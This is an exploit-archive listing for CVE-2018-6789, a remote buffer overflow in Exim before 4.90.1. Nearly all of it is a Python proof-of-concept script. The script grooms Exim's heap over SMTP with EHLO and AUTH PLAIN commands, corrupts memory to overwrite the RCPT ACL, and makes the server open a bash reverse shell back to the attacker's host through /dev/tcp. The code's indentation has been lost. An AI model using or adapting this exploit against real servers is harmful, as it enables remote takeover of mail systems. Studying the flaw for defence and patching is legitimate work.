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Exim base64d Buffer Overflow

Exim base64d Buffer Overflow
Posted Jun 3, 2021
Authored by Johnny Yu | Site github.com

Exim versions prior to 4.90.1 remote buffer overflow proof of concept exploit.

tags | exploit, remote, overflow, proof of concept
advisories | CVE-2018-6789
SHA-256 | ee8228224f1f993d6d2342e211a9be7a153342208313db672c854f83eba4d705

Exim base64d Buffer Overflow

Change Mirror Download
#!/usr/bin/python
import sys
import time
import socket
import struct

s = None
f = None

def logo():
print
print " CVE-2018-6789 Poc Exploit"
print "@straight_blast ; straight426@gmail.com"
print


def connect(host, port):
global s
global f
s = socket.create_connection((host,port))
f = s.makefile('rw', bufsize=0)

def p(v):
return struct.pack("<Q", v)

def readuntil(delim='\n', debug = False):
data = ''
while not data.endswith(delim):
data += f.read(1)
if debug:
print data
return data

def write(data):
f.write(data + "\n")

def ehlo(v):
write("EHLO " + v)
readuntil('HELP')

def unrec(v):
write(v)
readuntil('command')

def auth_plain(v,s = None):
encode = v.encode('base64').replace('\n','').replace('=','')
if s and len(s) > 0:
encode = encode + s
write("AUTH PLAIN " + encode)
readuntil('data')

def one_byte_overwrite():
v = "C" * 8200
encode = v.encode('base64').replace('\n','').replace('=','')
encode = encode[:-1] + "PE"
write("AUTH PLAIN " + encode)
readuntil('data')

def exploit(remote_host, remote_port, local_host, local_port):

connect(remote_host, remote_port)

print "[0] connected to target -> " + remote_host + ":" + str(remote_port)

time.sleep(0.5)

ehlo("A" * 8000)

ehlo("B" * 16)

print "[1] finished grooming heap with 0x6060 block space"

unrec("\xff" * 2000)

ehlo("D" * 8200)

one_byte_overwrite()

print "[2] triggerd 1 byte overwrite vulnerability to extend the chunk size from 0x2021 to 0x20f1"

fake_header = p(0)
fake_header += p(0x1f51)
auth_plain("E" * 176 + fake_header + "E" * (8200-176-len(fake_header)))

print "[3] patched following store block with fake header so extended chunk can be freed"

ehlo("F" * 16)

print "[4] freed extended store block"

unrec("\xff" * 2000) #filler against freed block

unrec("\xff" * 2000) #filler against freed block

fake_header = p(0x4110)
fake_header += p(0x1f50)
auth_plain("G" * 176 + fake_header + "G" * (8200-176-len(fake_header)))

print "[5] patched store block with fake header so extended chunk can be malloced"

#acl_store_block_partial_address = "\x80\xa4\x6e"
acl_store_block_partial_address = "\xe0\xc8\x6c"

auth_plain("H" * 8200 + p(0x2021) + acl_store_block_partial_address, "X")

print "[6] finished using extend chunk to overwrite the overlapping store block's next pointer to an acl store block address"

ehlo("I" * 16)

print "[7] triggered smtp_reset_3(); with EHLO"

# 288 is for github build
# 1000 is for debian build
#acl_smtp_rcpt_offset = 288
acl_smtp_rcpt_offset = 1000-16

cmd = "/bin/bash -c \"/bin/bash -i >& /dev/tcp/" + local_address + "/" + str(local_port) + " 0>&1\""
cmd_expansion_string = "${run{" + cmd + "}}\0"

auth_plain("J" * acl_smtp_rcpt_offset + cmd_expansion_string + "\0" * (8200 - acl_smtp_rcpt_offset - len(cmd_expansion_string)))

print "[8] malloced acl store block and overwrite the content of acl_smtp_rcpt with shell expression"

write("MAIL FROM:<straightblast426@gmail.com>") ; readuntil()

write("RCPT TO:<j00_g0t@pwned.com>")

print "[9] triggered RCPT TO which executes shell expression ... enjoy your shell!"

print

if __name__ == '__main__':
logo()
if len(sys.argv) < 5:
print "Usage: ./exploit <remote_address> <remote_port> <local_address> <local_port>\n"
exit()
remote_address = sys.argv[1]
remote_port = int(sys.argv[2])
local_address = sys.argv[3]
local_port = int(sys.argv[4])
#print remote_address, remote_port, local_address, local_port
exploit(remote_address, remote_port, local_address, local_port)

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